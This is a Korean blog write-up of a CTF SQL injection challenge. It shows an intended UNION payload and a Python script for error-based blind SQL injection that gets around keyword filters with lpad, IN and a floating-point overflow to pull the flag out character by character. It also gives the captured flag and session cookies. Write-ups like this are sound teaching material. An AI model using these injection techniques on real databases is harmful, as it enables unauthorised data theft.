해당 문제는 의도한 풀이와 의도하지 않은 풀이로 문제를 풀었다.


문제에 들어가면 블라인드 SQLI가 아니라고 하며 대부분의 Blind SQL시 사용하는 구문들이 필터링 되어있다.


그러나 필터링되지 않은 구문을 사용해주면 Blind SQLI가 가능하며 Unintended 풀이가 가능하다.


의도된 풀이

payload

,1) union (select 1,flag from level1_flag)#




의도되지 않은 풀이


import requests


def request(payload):

    url = "http://chall.tasteless.eu/level1/index.php"

    params = {'dir':payload}

    headers = {'Cookie':'login=guest%25084e0343a0486ff05530df6c705c8bb4; __cfduid=dc8f9c4e92cf4316e617bbaa23cfc8b8f1532166053; PHPSESSID=dnn3sve7g1th9sh0164soi6ck6'}

    response = requests.get(url,params=params,headers=headers).text

    print response


    if "error" in response:

        return True

    else:

        return False


length = 0

for i in range(0,100):

    payload = ",(select 1 from level1_flag where length((select flag from level1_flag)) in ("+str(i)+") and 9e300*9e300))#"

    if request(payload) == True:

        length = i

        print "Find Flag Length[*] = " + str(length)

        break


strings = "0123456789abcdef"

flag = ""

for i in range(1,length+1):

    for j in range(0,len(strings)):

        payload = ",(select 1 from level1_flag where lpad((select flag from level1_flag),"+str(i)+",space(1)) in ('"+flag+strings[j]+"') and 9e300*9e300))#"

        if request(payload) == True:

            flag+=strings[j]

            print "Find Flag[-] = " + flag

print "Find Flag[+] = " + flag


Flag = 728e66c570ae115f57d4a08cea383418


블로그 이미지

JeonYoungSin

메모 기록용 공간

,